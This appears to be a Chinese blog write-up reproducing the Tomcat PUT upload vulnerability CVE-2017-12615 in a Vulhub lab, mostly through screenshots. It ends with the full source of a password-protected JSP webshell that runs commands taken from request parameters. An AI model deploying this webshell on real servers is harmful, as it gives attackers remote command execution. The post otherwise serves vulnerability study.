一、漏洞起源
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。
其中,远程代码执行漏洞(CVE-2017-12615) 影响的版本有: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全) 。
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,并且能被服务器执行。
二、基本信息
漏洞名称:Tomcat任意文件上传漏洞
漏洞编号:CVE-2017-12615
漏洞影响:上传包含任意代码的文件,并且能被服务器执行。
影响系统:Windows系统
影响版本:Apache Tomcat 7.0.0 - 7.0.81
三、漏洞复现
这里使用“Vulhub搭建漏洞测试靶场“。
使用如下命令启动靶场环境。
![](https://img-blog.csdnimg.cn/img_convert/f1407c09ab9f471d835b84722a73ed47.png)
![](https://img-blog.csdnimg.cn/img_convert/79498017dfe44e95bf42437307b0d03c.png)
查看ip地址。
![](https://img-blog.csdnimg.cn/img_convert/87026c6e3d054f5186ff39133afa21f5.png)
查看端口信息。
![](https://img-blog.csdnimg.cn/img_convert/ad6788c3badb40e981275ee8974d9665.png)
进入靶场页面。
![](https://img-blog.csdnimg.cn/img_convert/3d33ec7959dd4175b4bc29a97951331a.png)
重新访问此页面来抓取数据包。
![](https://img-blog.csdnimg.cn/img_convert/ed1dcabcf86f4ffb90e68b9ecd661f9b.png)
确认有没有“1.jsp”,访问以下网址返回下面页面可以确认没有。
![](https://img-blog.csdnimg.cn/img_convert/2386f53097f9475992485f353aacf87e.png)
将“Vulhub靶场”内的数据包复制后粘贴替换刚刚抓取到的数据包。
![](https://img-blog.csdnimg.cn/img_convert/dfb33f6e2e644b22880ef8574f88cc17.png)
此处为刚刚查询的ip以及端口号。
![](https://img-blog.csdnimg.cn/img_convert/50151b284c7f416a802be8db995033ce.png)
放包后再次访问“1.jsp”,发现存在了。
![](https://img-blog.csdnimg.cn/img_convert/b276cebab4214f8ab6267a7be8162972.png)
如果想要进行攻击,只需将“shell”换成jsp的后门文件即可。
如:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {
line.append(temp+"\n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>